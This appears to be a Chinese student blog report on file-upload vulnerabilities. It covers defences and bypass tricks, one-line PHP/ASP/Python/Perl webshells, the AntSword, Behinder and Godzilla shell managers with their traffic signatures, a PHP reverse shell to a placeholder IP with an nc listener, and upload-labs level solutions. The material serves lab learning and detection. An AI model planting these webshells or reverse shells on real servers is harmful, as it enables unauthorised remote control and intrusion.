毕业实习-7

一、 文件上传防御手段及绕过手段总结

1.1 文件上传防御手段

  1. 文件类型验证
    只允许特定类型的文件上传(如图片、文档等)。
    使用 MIME 类型和文件扩展名进行双重验证。

  2. 文件大小限制
    限制上传文件的大小,防止大文件上传导致的拒绝服务攻击。

  3. 文件名处理
    对上传的文件名进行规范化处理,避免使用特殊字符。
    生成随机文件名,防止文件覆盖和路径遍历攻击。

  4. 存储位置
    将上传的文件存储在非 Web 可访问的目录中,避免直接访问。
    使用云存储服务,增加安全性。

  5. 内容扫描
    对上传的文件进行病毒扫描,防止恶意软件传播。

  6. 权限控制
    限制文件上传的用户权限,确保只有授权用户可以上传文件。

  7. 上传后处理
    对上传的文件进行格式转换或重命名,降低直接执行的风险。

  8. 使用 Web 应用防火墙(WAF)
    部署 WAF 以检测和阻止恶意上传请求。

1.2 绕过手段

  1. 文件扩展名伪装
    将恶意文件的扩展名更改为允许的类型(如将 .php 改为 .jpg)。

  2. MIME 类型伪装
    修改请求中的 MIME 类型,伪装成合法文件类型。

  3. 多重扩展名
    使用多重扩展名(如 file.php.jpg)来绕过文件类型检查。

  4. 路径遍历攻击
    利用路径遍历漏洞上传文件到不安全的目录。

  5. 利用漏洞
    针对应用程序的漏洞(如未过滤的输入)进行攻击,直接上传恶意文件。

  6. 使用代理工具
    使用工具(如 Burp Suite)修改请求,绕过客户端验证。

  7. 利用 CDN 或缓存
    上传文件到 CDN 或缓存服务器,绕过直接访问限制。

  8. 社会工程学
    通过欺骗手段获取上传权限,上传恶意文件。

二、文件上传常用一句话木马

一句话木马通常是指一种简短的恶意代码,攻击者通过文件上传漏洞将其上传到目标服务器,以便执行任意命令。以下是一些常见的一句话木马示例:

  1. PHP 一句话木马

    <?php system($_GET['cmd']); ?>
    
  2. Python 一句话木马

    import os; os.system('cmd')
    
  3. ASP 一句话木马

    <% Execute(Request("cmd")) %>
    
  4. Perl 一句话木马

    print qx(cmd);
    

三、三种webshell管理工具的使用方法

3.1 蚁剑(在upload完成)

创建一句话木马yj.php文件

在这里插入图片描述

将php文件放在根目录下

在这里插入图片描述

打开蚁剑进行连接

在这里插入图片描述

可见连接成功

在这里插入图片描述

保存数据

在这里插入图片描述

打开蚁剑,添加代理和添加数据,bp还是打开的

在这里插入图片描述

成功设置代理

在这里插入图片描述

可见:在burpsuite成功抓包

在这里插入图片描述

查看分析得使用普通的一句话都存在以下特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符
响应包的结果返回格式为:
随机数
响应内容
随机数

在这里插入图片描述

3.2 冰蝎(pikachu)

打开冰蝎,生成木马

在这里插入图片描述

生成文件后放入pikachu根目录下(上传至pikachu需要将其转换为图片)

在这里插入图片描述

在冰蝎中添加后保存

在这里插入图片描述

连接冰蝎成功!

在这里插入图片描述

成功在burpsuite抓到包如下:

在这里插入图片描述

可见冰蝎的固定请求头特征为:​dFAXQV1LORcHRQtLRlwMAhwFTAg/M​​,固定的响应头特征为:​TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd​​

在这里插入图片描述

3.3 哥斯拉

“管理”->“生成”,按图所示生成一个木马。

在这里插入图片描述

我此处直接保存为了png文件,为了方便上传

在这里插入图片描述

“目标”->“添加”,填写里面的内容。和这个木马生成时候选的的选项保持一致,设置代理,测试连接成功

在这里插入图片描述

用bp拦截流量包

在这里插入图片描述

哥斯拉Cookie (强特征)
请求包的Cookie中有一个非常致命的特征—分号
在这里插入图片描述

在这里插入图片描述

四、文件上传无回显如何查找webshell地址

在文件上传无回显的情况下,查找 WebShell 地址可以采取以下更具体的步骤:

1. 分析上传请求

  • 使用抓包工具
    使用 Burp SuiteFiddler 等抓包工具,拦截上传请求。
    观察请求的 URL、请求方法(通常是 POST)、请求体中的文件名和文件路径。

  • 记录上传信息
    记录上传的文件名和任何可能的路径信息。例如,上传请求可能包含 POST /upload.php,并且文件名可能是 shell.php

2. 尝试访问常见路径

  • 构造 URL: 根据记录的文件名和常见上传目录,构造可能的 URL 进行访问。例如:

  • http://target.com/uploads/shell.php
    http://target.com/files/shell.php
    http://target.com/images/shell.php

3. 使用目录扫描工具

  • Dirb/Gobuster
    使用 DirbGobuster 进行目录扫描,尝试找到上传的文件。
    示例命令:
    dirb http://target.com/uploads/ /path/to/wordlist.txt
    
    gobuster dir -u http://target.com/uploads/ -w /path/to/wordlist.txt
    

4. 查看服务器日志

  • 访问日志
    如果有权限,查看服务器的访问日志(如 Apache 或 Nginx),查找上传请求的记录。
    日志文件通常位于 /var/log/apache2/access.log/var/log/nginx/access.log

5. 尝试不同的文件扩展名

  • 文件扩展名变换: 如果上传的文件没有回显,尝试使用不同的文件扩展名进行访问。例如:

  • http://target.com/uploads/shell.php5
    http://target.com/uploads/shell.phtml

6. 利用反向 Shell

  • 设置反向连接
    如果 WebShell 支持反向连接,可以在 WebShell 中设置反向连接到你的机器。
    示例 PHP 代码:
    <?php
    exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'");
    ?>
    
    运行此代码后,确保监听相应的端口(使用 nc -lvnp YOUR_PORT)。

7. 使用 Web 应用漏洞扫描工具

  • Nikto
    使用 Nikto 进行扫描,查找未公开的文件或目录。
    示例命令:
    nikto -h http://target.com
    

8. 监控网络流量

  • 使用 Wireshark
    如果可以,使用 Wireshark 监控目标服务器的网络流量,查看是否有异常的请求或响应。

五、文件上传表单的无参/有参情况下构造表单 – 加分项

在进行文件上传时,构造文件上传表单可以分为无参和有参两种情况。以下是这两种情况下的具体构造方法。

5.1 无参文件上传表单

无参文件上传表单是指仅包含文件上传字段,没有其他输入字段。简单的 HTML 文件上传表单示例:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>无参文件上传</title>
</head>
<body>
    <h1>文件上传</h1>
    <form action="/upload" method="POST" enctype="multipart/form-data">
        <input type="file" name="file" required>
        <button type="submit">上传文件</button>
    </form>
</body>
</html>

5.2 有参文件上传表单

有参文件上传表单是指除了文件上传字段外,还包含其他输入字段。包含文件上传和其他参数的 HTML 表单示例:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>有参文件上传</title>
</head>
<body>
    <h1>文件上传</h1>
    <form action="/upload" method="POST" enctype="multipart/form-data">
        <label for="username">用户名:</label>
        <input type="text" id="username" name="username" required><br><br>

        <label for="file">选择文件:</label>
        <input type="file" id="file" name="file" required><br><br>

        <label for="description">文件描述:</label>
        <textarea id="description" name="description"></textarea><br><br>

        <button type="submit">上传文件</button>
    </form>
</body>
</html>
  • enctype="multipart/form-data":这是文件上传表单必须包含的属性,确保文件能够正确上传。
  • method="POST":通常使用 POST 方法进行文件上传。
  • input type="file":用于选择文件的输入字段。
  • 其他输入字段:可以根据需要添加其他字段,如文本框、下拉框等。

六、upload-labs靶场通关第6-第10关

Pass-6(大小写绕过)

查看源码,大小写被过滤,没有过滤空格,就用大小写绕过

在这里插入图片描述

上传 wjy.php 一句话木马,抓包,使用大小写绕过

在这里插入图片描述

Pass-7(小数点)

查看源码,大小写被过滤,空格被过滤,没有过滤小数点,就用小数点过滤

在这里插入图片描述

上传 wjy.php 一句话木马,抓包,后缀加个小数点

在这里插入图片描述

Pass-8(::$DATA 绕过)

查看源码,小数点 大小写 空格 都被过滤,用 ::$DATA 过滤

在这里插入图片描述

上传 wjy.php 一句话木马,抓包,后缀加 ::$DATA

在这里插入图片描述

Pass-9(小数点和空格结合绕过)

查看源码,::$DATA 也被过滤,使用结合过滤

在这里插入图片描述

上传 wjy.php 一句话木马,抓包,后缀加 小数点 空格 小数点

在这里插入图片描述

Pass-10(双写绕过)

查看源码, str_ireplace()函数 将危险后缀都替换为空,然后尝试用双写绕过

在这里插入图片描述

上传 wjy.php 一句话木马,抓包,修改后缀

在这里插入图片描述

  • 19
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值